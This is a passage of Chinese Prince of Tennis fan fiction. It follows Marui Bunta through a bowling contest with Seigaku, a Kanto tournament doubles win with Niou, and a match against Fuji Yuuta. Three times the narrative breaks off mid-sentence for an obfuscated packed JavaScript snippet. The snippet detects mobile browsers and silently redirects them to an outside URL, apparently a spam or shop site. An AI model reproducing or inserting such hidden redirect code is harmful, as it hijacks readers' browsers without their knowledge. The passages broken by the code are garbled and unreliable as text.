为什么?我和莲二的计算应该是一致的才对,但为什么实践的结果截然不同?想知道区别,我想知道造成差异的原因,是发力?角度?还是其他原因?比如说鞋底的摩擦系数、投球时手臂抬起的角度…… 柳莲二看见乾贞治待在原地久久不动,嘴里喃喃自语着什么,唇角微勾,重新去回球区拿球,准备先投下一轮,却在转身时几乎面贴面撞上对方,惊得他微微睁开眼睛。 “想知道……我想知道……”乾贞治魔怔般地喃喃说。 柳莲二沉默,平静地望向从手中滑脱出去的保龄球。 “哎呀,连那个柳也阵亡了啊,不过青学的数据男看起来好像没什么威胁的样子。” 丸井文太毫无紧张感地道出一句感叹,随后视线移到走到球道前方的不二周助身上。 这个人带给他的印象有些微妙,看起来总是一副笑眯眯的和善模样,却不同于幸村君那般是由于一贯胜券在握,自然而然地流露出举重若轻的优雅,不二的风格更接近于淡然,感觉就是无所谓赢,也无所谓输,举手投足都透着随性,无论拿下几分都不以为意,是丸井文太迄今见过的所有人当中性格底色最淡的人物。 要形容的话,就像不留下任何痕迹,让人捉摸不透的清风。 这个人完全与他们立海的集体理念背道而驰啊……不,应该说跟大多竞技环境都气场不合吧。自由过度了。 现在他会认真一些吗? 沐浴在丸井文太毫不掩饰强烈兴趣和密切关注的灼灼视线中,兴许只是谬觉,不二周助可能轻笑了一声。 这次不二一出手就跟前几轮很不一样,保龄球带着凌厉的旋转在球道上走出一条夸张的弧线,丸井文太惊讶得睁大眼,在球滑入边沟的时候很有沉浸感地“啊”了一声,却没想保龄球竟然借助了边沟的曲面弧度,凭借旋转的力道调转方向向上弹起,然后从一个极高的角度撞入林立的瓶子。 丸井文太当即吹了一声口哨。 “酷!” 这一招简直就像在变魔术,效果可不仅起死回生那么简单。 因为保龄球从很高的角度坠下,导致瓶子都全部直直向后倒入球坑,不会像是保龄球从正面击倒瓶子时那样,中间的瓶子还会向左右两边歪倒,引发更多瓶子坠入球坑的连带效应。 因此,不二留给文太的残局只剩两个站立的瓶子,而且是位于左右两端,距离最远的瓶子。那段距离不仅大于最大型号的保龄球直径,还大于瓶子本身的高度,就算其中一端的瓶子被击倒,也不会碰到另一端的瓶子。 所以这是一个利用了华丽巧思而实现的、将算计摆在明面上的阳谋。 无论怎么想,丸井文太接下来最多只能投中一个瓶子,投球角度只能选左或者选右,一旦稍微向中间偏移,就有空投后必须接受惩罚的风险。 但他要是让不二的计划如愿,这次只拿下一个瓶子……文太的视线移向记分板,他们这组和大石组只有一分之差,一旦落后就等同于把胜利拱手让给青学。 “话说,就算球在最后弹了出来,只要进了边沟就要被惩罚的吧?”他微微眯眼,不怀好意地提问。 “是这样没错,但不二是不怕乾的蔬菜汁的。”隔壁的大石高兴地说。 乾贞治扶了扶眼镜:“虽然很不情愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152239|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认输,但不二的味觉确实异于常人。” “欸?骗人的吧?那岂不是不用怕被淘汰,永远立于不败之地?!”文太大为震惊,“可恶,我这是被设计了啊!早知道就跟赤也一组了。” “呵呵,能利用情报差封印你们立海中保龄球经验最丰富的文太君,确保你无法为立海的队伍得分,就已经是我们青学在战略上的胜利了。”不二从容地说。 “哎呀,真过分呢。” 看见丸井文太撅起嘴抱怨的样子,不二周助忍不住笑了笑,接过乾贞治递给他的杯子,但再高明的人也总有失手的时候,当他喝下青绿色的饮料,轻轻闭眼过后,整个人忽然毫无预兆地倒了下去。 “咚——!!!” “喂喂,这不还是被干掉了吗?!”文太露出见鬼的表情,过了一会儿忽然陷入美食家的好奇心中,蹲下身,谨慎地用手指沾了一点杯壁上残留的液体放进口中。 “呕……这什么啊,又酸又稠,杂味乱窜……里面居然还加了苹果?是发酵成醋了吗?” 他眼前一黑,差点吐了出来,这么难喝的一杯灌下去会让人一整天都毫无食欲的吧。 “太难吃了!简直是对食物的亵渎!你给我向食物道歉啊!” “呃……”被丸井文太用手指指着的乾贞治,完全被他愤怒的气势所压倒,鬓角微微冒汗,忍不住后退两步,开始顾左右而言他地嘴硬道,“总之,尽管不二意外牺牲,出现了计划外的减员,但他留下了很好的后手,我们青学已经胜利在望了。” “闭嘴,只能拿一分的杂鱼。” 文太哼了一声,生气之下一句话狠狠戳中乾的痛处。他拿起球,气冲冲往前走了几步,忽然回头,红发飞起,怒容未消的脸颊还透着淡淡红晕,却眉梢轻挑,蓦地露出一个张扬万分的漂亮笑容。 “以为青学赢定了?那就让我给你见识一下,什么叫做化不可能为可能,将奇迹具现为现实的神技吧。” 由于常年在西点制作中掌握了无与伦比的细腻手感,丸井文太对于精细操作的掌控力十分强大,被柳莲二评价为堪比高精度仪器的水准。 他出手一贯带有着一丝雷厉风行的杀伐气,只见保龄球一往无前地撞上最左端的瓶子,流畅地坠入后方球坑,但这一球带来的威力却没有到此结束,瓶子被巧妙地击飞到半空,划过一道完美的抛物线,然后精确地砸中最右端的另一个瓶子,精彩地将不二故意残留下来的两个瓶子一举消灭。 “漂亮!”大石情不自禁地评价道。 极致的准确与精妙,最省力的得分诀窍,能够行云流水地直击赛点,打破僵局,好似杂技表演一般惊险炫目,由纯粹而精湛的技巧所实现的高超技艺,这就是丸井文太的拿手好戏。 在其他人惊讶的视线中,文太头顶的显示屏刷新出满分数字,他得意一笑,在脸颊旁比了个胜利的V字。 比赛最终自然是立海当仁不让地取得胜利,制作那诡异蔬菜汁的始作俑者乾贞治也因为小组得分最低而不得不接受惩罚。 “哐当”一声,喝空了的蔬菜汁杯子滚落在地。 数据男自言自语说着“做过头了”之类的话,然后在其他人无语的注视中彻底阵亡,只能说是自食其果了。 “话说,别做连自己都喝不了的东西啊!”文太狠狠吐槽。 经此一役,大石赛前的紧张情绪倒也缓解了许多。休息过后,大家在球馆门口挥手作别,返回神奈川需要搭乘电车,大石目送着文太他们前往车站的背影,忽然抬高声音: “各位,周末的准决赛再见了!下次我们会以最佳面貌来迎战你们的!” “哼,这正合我意。” 骄傲的立海众人无人回首,只有一声轻哂从他们路过的空中飘过,每人唇边都带着一丝浅淡而从容的立海式微笑。夜晚的东京依旧明亮,高楼与霓虹招牌围拢长街,虽然自身渺小,却又存在一种自己所在之处就是世界中心,无所不能的感觉。 他们脚步错落地踩过一地光怪陆离的缤纷光影,少年们风华正茂的俊气眉眼被朦胧而柔和的微光映得分明。 很快很快,灿烂无比的盛夏即将到来,声势浩大,热烈滚烫,是他们注定所向披靡的青春,连夜晚也有光明漫溢,流动着无数斑斓动人的色彩。 丸井文太轻轻吹出一个青绿色的泡泡,眼帘微抬,望向天边空前皎洁的月亮,心中想着,好美的月色,要是幸村君今晚也有看到就太好了。 66.File 65 相性 关东大赛第二日,天光晴朗,诸事皆宜。立海网球部一如既往提早抵达会场,由部长幸村精市递交参赛人员的登记申请,其他人则是静静跟在他的身后,淡定地无视跟随在队伍附近的井上记者。 前几天那位大叔来到他们社团采访,是幸村和真田负责接待,其他人对此没有过多注意。每年的关东大赛到全国大赛这段期间,都是外人参观立海的高峰期。国中部和高中部那些热门体育社团的场外每天都热闹得很,要是为此大惊小怪,反倒会被队友笑话没见识吧。 丸井文太双手插在兜里,紫色眼睛凝视着前方的主将,微微翘起的红发随着走动起伏跳跃。阳光穿过树叶间隙,浅金色的光芒在他柔软的发梢间游走闪烁,投下深深浅浅的阴影,将姣好的五官轮廓勾勒得愈加明媚。他随意咬着泡泡,神情有些漫不经心,那副我行我素的少年模样却好看得夺人视线。 “常胜——立海大!Let’s go!Let’s go!立海大!” 这天的森林公园比上周还要热闹,一大早就已是人声鼎沸。身着立海制服的少年少女们手持花球,额头上系着彩带,面带笑容地在铁丝围网外面加油助威,那姿态青春靓丽,呐喊声气势磅礴,比赛还未正式开场便将气氛炒得火热,人人情绪高涨,盛气凌人的阵仗生生把另一边休息区的对手压得势弱三分。 往年立海的拉拉队要到全国大赛才会正式出动,不过去年关东决战的场面似乎稍稍刺激到了他们男女拉拉队队长的自尊心,这回早早便向幸村精市拍胸脯保证要为他挽回颜面,发誓绝不能让我们立海至高无上的神之子大人在外面丢了威风。 纵使后来幸村精市微微苦笑着强调去年他有拿下比赛,也似乎完全没被斗志昂扬的同学们听进去的样子。只能说每个人都有属于自己的战场,争强好胜本就是立海人的底色吧。 上午是跟青学的准决赛,第一场不是丸井文太的比赛,但他相信很快就能结束,目光朝远远站在树荫下打哈欠的仁王雅治瞥去,与银发少年对上视线后轻笑着勾了勾食指。 “不打算先看一会儿吗?”仁王漫不经心地问,“青学的天才不二周助,小学的时候很有名吧。” “没必要,你不也看过柳提供的青学录像吗?他们这场输定了。”文太笃定道,“不二的三重回击是典型的单打技术,得分核心在于让对手追不到球,在能够由搭档提前补位的双打中就威力大减了。而且他表面看似非常随便,骨子里却是个标准很高的人,很难认真起来,和他搭档的那个三年级很平庸,这样一个碍手碍脚的搭档可会让人丧失斗志啊……” “本来他们学校里协调性出色的选手就不多吧。” “是啊,听柳说青学的双打胜率很低,可双打在团体赛中又是打头阵的位置,一旦失利,很容易让全队陷入被动。” “所以面对强校时,为了避免队伍在前三盘就被一波带走,他们一定会把最受信赖的高手放在单打三。据我们参谋的预测,那个肩负重任的人十有八九就是手冢国光。” “部长大和应该是单打二吧?如果青学打着拼死一搏的主意,就只能把单打二当作最后机会。他们最乐观的预想,就是双打赢一场,手冢赢一场,大和再赢一场。毕竟我们的单打一是幸村君,青学完全没胜算啦。” “也就是说,我们两个出场的双打一会被青学视为翻盘立海的关键战。” “呵呵……那么,究竟他们有没有那个能耐抓住机会呢?” 黄色的网球在球网上方来回飞跃,每一球都透出游刃有余的味道。在进行热身的球场上,丸井文太与仁王雅治相视一笑,心照不宣的笑容深处藏着某种险恶意味,立海的双打不存在死角,今天就让他们的对手来见识一下吧。 二人回去的时候双打二的比赛也已经临近尾声,果如立海这边的预料,他们顺利拿下了这一盘。仁王雅治向走下场的柳莲二微微颔首,丸井文太也笑着与杰克·桑原拍手碰拳,二人随即望向坐在指导席的部长,幸村精市气定神闲地勾起唇角,微笑道:“去吧。” “Yes, sir!” 丸井文太单眼轻眨,走之前笑嘻嘻地敬了个礼,一贯懒洋洋的仁王雅治将球拍扛在肩上,背过身时随意地挥了挥手,然后跟上过分活泼的搭档。 “真可爱呢,我的队员。”幸村愉悦地说。 真田淡淡地提醒:“现在不是说这个的时候吧。你忘了他们俩上次争指挥权时那不像话的样子了吗?” “不用那么介意的,弦一郎。”幸村从容道,“文太和仁王的决断力都很出色,他们是个性极强也很有主见的选手,想按自己的想法来打,也很正常。不用担心,这两人分得清主次,上回只是对手太弱了。” “幸村部长啊,你说得好像丸井学长在故意给仁王学长找不痛快一样。”切原懒洋洋地趴在铁丝网上,有点贱嗖嗖地说,“这种话不利于团结吧。” “呵呵,关系好的表现方式有很多种,他们真要不愿意就不会是现在这样了。” “啊确实,那两个人凑在一起就有种一肚子坏水的感觉……” 而在球场中央,双打一的选手们也已经打过照面。 “发球权归我们了。”文太帅气地把球拍夹在手臂间,眉头压低,露出一个锐利笑容。 “瞧好吧!”菊丸很有战意地盯着仁王,显然还是在记仇前几天保龄球馆被吓到的账,“这次我可不会那么大意了!” 仁王:“puri。” 感觉这个人上次跟文太的互动不是很多,没想到竟然会是搭档……从没见识过立海随机组合多变性的大石在心里暗暗意外,然后发现众人的目光都落在沉默太久的自己身上,连忙慌慌张张地开口:“啊,请多指教,让我们都发挥出自己的最佳水平吧……喂,英二,不要跟对手做鬼脸啊!” “嘿嘿。” 相性好的双打组合一定配合默契,不过主流打法还大致分为两种差别很大的模式。 一种是一方主导、另一方策应,这种配合需要双方拥有深厚的信任,主导者完全相信搭档能跟上自己的节奏,搭档也能及时支援、创造机会,两人不仅分工明确,还极度熟悉彼此的实力,最终自身就如同对方延伸出去的手足一般。 这种组合的优势是发挥稳定,能较全面地应对不同风格的对手,但需要长期磨合,要有充足的配合经验,对两人的性格、打法契合度要求也很高。 另一种,则是两人都根据自己的判断行动,一视同仁地将队友与对手都视为观察对象,再加上自身协调能力极强,能恰到好处地互相支援、策应。 这是一种上限极高、下限也极低的模式。一旦两人在协调力、判断力上稍有短板,就很容易陷入1+1<> 仁王雅治习惯独立决断,不过他凭借过人的洞察力,就算和纯单打思路的选手配合也能得心应手。而丸井文太有他自幼相伴的挚友,向来自由自在地按照自己喜欢的节奏进攻。当然,在没有杰克在身后的时候,他也能够凭借天生的协调力去兼容队友。 他们俩的组合,某种意义上,完全是两个鬼点子一箩筐的家伙凑在一起狼狈为奸。 “英二!”大石惊叫一声。 菊丸这记杂技式回球露出了一个还没站稳的空档,文太立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186929|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住这个机会,一记截杀直指他最难受的左脚后方。大石连忙补救,一记高吊球从搭档头顶越过,直飞立海场地底线。 “嗯?”网前的丸井文太抬头仰望网球,眼睛微眯,高速旋转的进攻性挑高球,这个高度凭他的弹跳力是无法碰到球的。打出这么大的角度不怕出界么? 场外青学的应援大声喝彩:“是大石的Moon Volley(攀月截击)啊!救得漂亮!” 连大石都觉得这球十拿九稳,因为他特意选了仁王赶不上的落点。但出乎他的预料,在网球下坠之时,对方已经抵达位置,一记反手回击后立刻冲上网前。 “什么什么?双上网阵型吗?” 菊丸吓了一跳,两名前卫给他的压力太大,他急忙把球打向仁王左侧的双打球道,想止住对方咄咄逼人的攻势,却不料这是仁王故意露出的破绽,等的就是他这一拍。 他把开场以来一直用右手握着的球拍,丢到自己真正惯用的左手,甚至极为潇洒地用正手接下这球。 根据立海那几乎从未露面的教练要求,校队正选需要双手同时佩戴黑色负重护腕。在右撇子占绝大多数的情况下,初次交手的对手很容易忽略队里有左撇子的可能。 人在被意想不到的情况惊到的时候,面对直逼面门的来球,反应慢的会被直接砸翻,反应快的菊丸虽然能够本能应对,但出手来不及细想,球路就会变得直白简单。 Reflex——反射截击,网前选手的救球利器。当来球速度极快时,选手来不及做出标准的截击动作,只能将球快速挡回。这种球几乎不会掺杂战术意图,也顾不上后续布局,正是对手乘胜追击的最好时机。 “哎呀,这球简单。” 丸井文太不仅接得从容,他还以其人之道还治其人之身,手腕急速上提,网球将拍线扯得喀拉作响,在拍网上走出一道凌厉的旋转,从青学球场上空飞过,径直落在底线之上。 “如何?我天才吧。” 他那浅紫色的眼眸眨了眨,笑容灿烂地比出代表胜利的V字手势,那副模样可爱还是一如既往的可爱,只是透着锐利锋芒的眼睛明晃晃地带着挑衅,让他的对手总觉得有些牙痒痒的。 “太夸张了吧,那边也会攀月截击?”青学的观众区传来一阵惊呼,校队选手及教练也露出了惊讶之色。 “那可是大石的绝技,他难道看一遍就学会了?”他们议论纷纷。 立海这边的校队成员倒是在自己学校拉拉队的加油声中表现得非常淡定。 “很正常,丸井是截击全精通的专家。” “攀月截击是利用截击技术从低位打出挑高的削球,最大的技术难点在于掌控球的下落位置。控球是他的强项,凭他连走钢丝都能操纵自如的手腕,掌握这招并不难。” “文太那家伙,爱炫技的老毛病又犯了。” 这还只是开始,青学这边很快就体会到立海组合有多棘手。无论前锋还是后卫,都演技极佳,假动作层出不穷,打得他们焦头烂额。丸井文太最擅长短兵相接的截击快战,又偶尔会在密集的攻势间隙冷不防抽出一记轻巧迅捷的短球,扰乱对手的步调;仁王雅治的眼光毒辣又思路狡诈,总能用极具欺骗性的球撕开对方阵型,他还特别会藏拙,时而让人以为他不擅长某种球路,或是假装力道不够,脚力不够,让人难以估量真实实力,然后在对手以为将要得分的时候残酷地击碎他们的希望,让人心惊肉跳,情绪像坐过山车一样大起大落。 切原赤也双手插兜,看了会儿这对腹黑二人组的表演,道出一句发自内心的感叹:“我绝对不要与这两个人为敌。” 67.File 66 心机 “Game and match,立海大附中,丸井-仁王 pair,6-3!” 置身在响彻球场的欢呼声中,丸井文太与大汗淋漓的菊丸英二握过手,眼神含笑地瞥向扛着搭档肩膀的大石,说了声“全国见”。 关东大赛前六名都有资格进军全国,今日参加准决赛的四强学校都已经拿到了门票。要是有缘的话,他们在下个月还有交手的可能性。 “嗯,下次一定会让你们把两手的负重摘下来的。”大石说。 “这个嘛,其实我还没发挥全力哦。” “欸?!” “开玩笑的啦。” 丸井文太扑哧一笑,那似真似假的玩笑语气实在很难让人辨明是否真心实意。他这人从气场到动作再到神态都看起来十分张扬,却能从言谈举止的细微处体现出缜密的冷静。 就像此刻,那双紫眸深处正倒映着大石秀一郎微微惊诧的脸孔。丸井文太识破了他在某一瞬的心境动摇,却没有揭穿,而是调皮地窥探着他的表情变化,露出一种携着打趣的狡黠微笑。 “我当然是已经全力以赴了。” 阳光炽烈地照亮天地,将丸井文太滴着汗珠的鲜红发梢照得闪闪发光。这个人就像站在光晕里,清冽悦耳的声音回响在耳畔,又仿佛被和煦的微风渐渐吹远。一旦被那样明亮真挚的眼睛凝望,就让人心中涌现一种能无条件原谅他的感觉,无论他所说的是真话还是谎言。 大石不禁心想,立海选手连赛后也从不轻易暴露底细,这种战备意识着实棘手,心底还残存着些许不甘心,却还是无奈一笑,轻叹了一口气:“我们也不会在此止步的。” “那不是当然的嘛!” 一条被汗水浸湿的手臂朝天举了起来,声音里透着一股不服输的朝气。菊丸英二先前在赛场上被耗干了体力,此刻却已经稍稍缓了过来。他喘了口气,抬起脸庞,露出笑容:“双打具有无限的可能性,我们还会变得更强!” “是吗?你打得确实还可以,不过我更出色。” 文太挑起眉梢,在菊丸鼓起脸要蹦起来跳脚之前哼哼一笑,摆摆手终结了这场赛后垃圾话。要论训练之严格与付出的努力,我们立海选手可不会输给任何人。他如此骄傲地想着,眼睛瞄向立海方向,正好看到某位深红色卷毛的高大学长正笑容满面地朝自己竖起拇指。 一排黑线忽然齐刷刷落在丸井文太身后。 啊对了,就当这位毛利学长是特例吧…… 立海顺利拿下两场双打,让幸村十分满意。团队的晋级已是十拿九稳,关东霸主从来不是浪得虚名,每年他们都会在赛前细致地调查对手,以占据先手优势。接下来是与青学的第三战,果如他们所料,对方派出了手冢。 立海这边原本打算由真田上场,但是根据柳提供的比赛录像来看,手冢最近似乎手臂有伤,赛场上的动作并不自然。 “跟手冢比赛,我一定会全力以赴,了结小学时被他打败的旧账,但我不想与状态不佳的劲敌对战,毁了他这等英才的网球生涯。”真田私下跟幸村这样说,最终选择在单打二出场。 这种光明磊落的气度,也正是真田身为警察世家继承人的风骨体现吧。 实用派的幸村对此不置可否,因为他比队中任何人都清楚真田的执拗脾气。 尽管除幸村以外,真田出场的胜算最高,幸村还是没有勉强对方,而是尊重了真田的选择。 不过,果然有必要稍微敲打一下。幸村心想。 卫冕关东大赛的连胜对立海很重要,和制霸全国一样,是为了防止懈怠,激励大家更进一步的目标。关东已是强校云集,他们走得越远,所面临的容错率就越低。到现在这个阶段,立海可以在战略上藐视对手,却不能在战术上轻视任何一所学校。 真田的想法太单纯了。对他而言,无论选择战或不战,他都从未考虑过变通和妥协。这种做法实在理想主义,能成全他的气节,却不够顾全大局,不能帮助团队走得更远。 幸村精市作为领袖,比任何人都深刻理解每位队友带来的胜利都意义非凡,这也是他对所有人都严格要求的原因,否则就算他自身再强,在五盘三胜制的团体赛中也无力回天。 与手冢的一战,真田不上,次优的选择是实力经过幸村检验的毛利学长,但他没有采纳柳的这个提议,而是把近期状态略有松懈的另一位学长安排在了这个位置。 依幸村来看,手冢虽然有伤,也绝不是能够等闲视之的对手,正好可以成为他的部员的磨刀石。要不就在赛场上拼搏取胜,要不就用败北给自己敲响警钟,也好敲山震虎,让真田绷紧神经,在单打二打出一个好看的成绩出来。 此番一举两得的安排用意颇深,作为他左膀右臂的真田与柳,事后定然能回过味儿来。当然了,幸村心想,像赤也那么单纯的新人,明显从头到尾都没察觉到什么,他只是在难得看到自家学长输球后对手冢提起了兴趣,又激动地催促着副部长快拿下比赛之类的话。毛利学长一贯随心所欲,也从未关心团队琐事,不过,只要他的实力没有掉出正选梯队,幸村也不打算对他管束太多。 立海的所有队员当中,就属仁王和文太的心眼格外多,在看到出赛表那瞬间的表情就有些意味深长。幸村知道他们都是难得一点就通的聪明人,作为天赋奇高的双打选手,更是具备不错的大局观,嗅觉敏锐,意识机警,估计打从一开始就看出来他的全盘打算了吧。 “我们的部长才是真正执掌王权的人呐,完全是帝王心术。”仁王表情玩味,凑到文太耳边,小声说着悄悄话。 “那当然了,没有人能赢得过幸村君。”文太眨了眨眼睛,淡定地笑着说。那语气既带着认真,又透出一股毫无阴霾的明快,让仁王忍不住心想,这家伙从某种方面而言也是个披着开朗外衣让人放松戒备的危险分子,难怪杰克总是被他强硬地带着跑,还能对他那么死心塌地。 这支队伍里真正无害的家伙好像没几个啊,从食物链的顺序来看。 仁王觉得有些好笑,没想到竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204163|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是自己最先意识到了这点。 立海与青学的比赛结束得稍早一些,他们打听得知冰帝与六角那边还没有结束,似乎双方陷入了持久战,三巨头便去那边球场观赛,其他人自行休整,调整状态准备在下午举行的决赛。 丸井文太先去自贩机买了点饮料和零食垫垫肚子,然后打算去冲个澡换身衣服,等大家集合再吃午饭。 当他叼着雪糕走在前往公共淋浴设施的路上,一不小心就撞见了个疑似狗血冲突的现场。 “裕太,你是特地来看我的比赛吗?我好开心。” “哼,我才没有,你少自作多情了!” 穿着青学夏季制服、额头带疤的寸头少年像被踩中痛脚一样抬高声调,然后撇过脸不再看站在他对面微微怔住的不二周助,如同落荒而逃般仓皇转身,跑向小树林外的另一个方向。 哇……这是什么剧本?爱在心口难开?破镜重圆? 丸井文太眨了眨眼睛,一口把雪糕都塞进嘴里,悄悄地蹲下来咀嚼咀嚼。 总觉得这种场合自己贸然出现会引来尴尬,所以他等到不二周助离开后才慢吞吞地从灌木丛后爬了出来,揉了揉肩膀,随意地活动了一下筋骨。 “你是谁?偷窥我哥做什么?”充满敌意的声音忽然从身后传来。 “吓?!” 文太吓了一跳,转过身才发现,出现在自己面前的竟是方才落荒而逃的那个少年。 这家伙是有多别扭啊,嘴上闹完脾气,居然还惦记着回来看看,这不就是纯正的蹭得累吗? 还有他提到了“我哥”? “你是不二周助的弟弟?”丸井文太才开口就注意到对方脸色一暗,他本就擅长察言观色,当即就察觉自己似乎踩中了对方的雷区。 明明是你自己先说哥哥的……是兄弟吵架?他暗中猜测,随口调转话头:“刚才我好像没在青学的队伍里看到你,你也是青学的选手吗?” 这句话似乎又让对方膝盖中了一箭,不二裕太脸色僵硬地纠正:“不是!我跟他们网球部没有关系!” 不过被丸井文太这么一打岔,不二裕太才注意到对方身上的立海队服。他对自家兄长以外的人毫不关心,观战到青学双打一的比赛结束就直接离开了,并未看到这个人出场。 立海啊……关东首屈一指的强校,今天打败了青学的对手。 不二裕太心中微凛,忍不住垂下眼打量丸井文太,却见对方露出不在乎的表情说了句“是吗”,唇角一扬,看过来的表情有些坏,是一种掺杂戏谑的挑衅。 “原来是个无名小卒,早点回家吧!下午没有你们学校的比赛看了。” “你这家伙——!”对方很明显地生气了。 虽然文太还不清楚这个不二的弟弟到底在唱什么戏,不过他实在太懂怎么逗这种家伙,眼底滑过一丝得逞的笑意,然后视线很明显地瞄向对方戴着运动护腕的左腕,微微挑眉,玩味地压低尾音。 “哦——那是要给我点颜色瞧瞧吗?” 68.File 67 兄弟 大约十五分钟。 正午的太阳将人影照得只有脚下小小一片,连地面都亮得刺眼。丸井文太垂下球拍,轻轻吹出一个泡泡,顺手提起被汗水浸湿的领口给身上透气,又抬手在脸侧扇了扇风。 6-0。 “骗人的吧。” 不二裕太站在原地有些恍惚,他抬头望向球网对面的红发少年,正好对方也朝他看了过来,一双紫眸眨了眨,眸色清明冷静。 在没有刻意流露情绪的时候,那张漂亮脸孔的眉眼竟显得分外锋利。 “嗯……完全不行啊。”他诚实评价。 丸井文太拿手的发球上网打法就是最经典的速攻模式,遇到顺风局能把对手压制得毫无喘息余地,不过经典也代表早已被人翻来覆去研究过如何破解,他自然准备了好多种见招拆招的招架方式,都是从部内练习和对外实战中总结的经验,也参考了幸村精市、柳莲二等人,以及立海高中部众多学长给他的建议。 然而,这次压根不需要他动真格,丸井文太赢得非常轻松。 果然……太稚嫩了啊。基础训练应该是没有太懈怠,但是出手明显缺乏实战痕迹,似乎平时根本没有人指导的样子,迎接各种球路的对策都相当单纯,完全是野蛮生长……甚至远不如刚入学时的赤也打得聪明。 为了饭后消食,丸井文太时常利用上学日的午休时间跟部内一年生打球。他打指导赛的经验相当丰富,加上自身机会主义风格浓厚,往往能一针见血地看穿对手的漏洞。 看来对方否认自己在青学网球部的说法是真的,这小子有点缺乏栽培啊。 他感觉不二周助性格还挺好的,待人温柔,还很关心大石、菊丸那些队友,这样的人竟会任由自己弟弟荒废下去么?不想插手?可看他弟弟对网球部的敌意……更大可能是束手无策吧? 叛逆期真愁人呢。他在心中颇为老练地感叹。 他们部的赤也也是桀骜不驯的性子,好在那家伙好哄好骗的单纯地方又完美弥补了难搞的部分,大家都能手段百出地压住他情绪爆发时掀起的风浪,现在网球部每天热热闹闹的也挺有乐趣。 而文太话音落下的瞬间,裕太心中也是狠狠一沉。 但还没等这股负面情绪逐渐发酵蔓延,在一切面临失控之前,丸井文太轻轻笑了两声,他扬着嘴角,自然地弯起眼睫,不动声色地驱散了此刻有些凝滞的气氛。 “别气馁,只是因为我太天才了而已。” 文太转身去拿放在球场边的包,动作利索地把自己的球拍收拾整齐,然后走向裕太,向他索要自己借给他的备用球拍。 “走吧,天太热了,我们去买点冰淇淋吃。”文太说,眼帘轻抬,食指对准裕太还没反应过来的呆愣脸庞,表情严肃地补充道,“当然,你来付钱。” “呃……哈——?!” “哎呀,别露出那么不情愿的表情。我看你挺擅长半截击的吧?正好这也是我的特长哦。”丸井文太扬起下颌,眼神锐利,表情骄傲,意味深长地说,“Rising Shot(凌空抽球)——所有变化球的万能破招法。这种技术的诀窍,以前有人指点过你吗?” 他们四目相对,不二裕太逐渐意动,眼神微微变化,而这也被情商过人的丸井文太尽收眼底。 “哈哈,快走啦,我都要被晒死了。” 对方倏然灿烂一笑,随后裕太的后背被用力拍了一下,他思维还没跟上对方风风火火的节奏,就稀里糊涂地跟上了文太的脚步,视线落在红发少年的头顶,几缕不听话的红发凌乱翘起,随着步伐起伏轻轻晃动,自由得一如他随心所欲的性子。 那分明属于一种烦扰他人的我行我素,却又让人从中感觉到灵光闪现的积极与锐气。丸井文太身边仿佛永远挤满了令人愉快的舒适空气,耀眼夺目,存在鲜活,结果旁人总是不知不觉就被他拐上不归路。 “欸——原来你是不想被拿来跟天才的哥哥比较,所以才拒绝加入网球部啊。” 后来两人找了个有树荫纳凉的长椅坐下,一边休息一边交流技巧,裕太在聊天中渐渐卸下心防,忍不住说出了自己的烦恼。 文太专心致志地舔了一会儿冰淇淋,才将目光移向裕太,可那视线很快又飘向了别处。 “这倒是有点值得参考呢……”他小声嘀咕。 “什么?” “呵呵,因为我也有兄弟。”迎着裕太意外的视线,文太大方坦言,“大的那个7岁,小的4岁,可都是令我骄傲的弟弟哦。” “年龄差也太大了吧!”裕太忍不住吐槽,“哪里能参考啊?他们压根不会有跟我一样的烦恼啊,学校都不在一个地方。” “那倒也是,等弟弟们上中学的时候我早就毕业了。”文太眨眨眼睛,手指搭在下颌,装模作样地思考了一下,“不过他们两个相差3年也有点可惜啊,就算都加入网球部也没机会一起参赛了,不知道那个时候会不会有什么别的烦恼呢。” 裕太被他这副畅想未来的乐观模样弄得有点力竭,把心事倾诉给陌生人真是失策啊……他开始有些后悔了,叹了口气:“喂……不管怎么说,那都是很久以后才需要考虑的事了吧。” “也是啊。但发现了问题的苗头就要想办法尽早解决,从不拖泥带水就是我的作风。” 丸井文太这话似是一语双关,眼睛盯向不二裕太,有些促狭地轻轻一笑。 “和遇到困难就逃跑的胆小鬼可不一样哦。” “谁是胆小鬼啊!”不二裕太一点就炸,愤怒地站起身,却发现丸井文太非但毫不在意,还跷起腿,懒洋洋地靠在椅背上,淡定地继续吃着冰淇淋。 嗯,好吃。 好吧。看在请我吃冰淇淋的份上,就再提供一点特别的关爱服务吧。他心想。 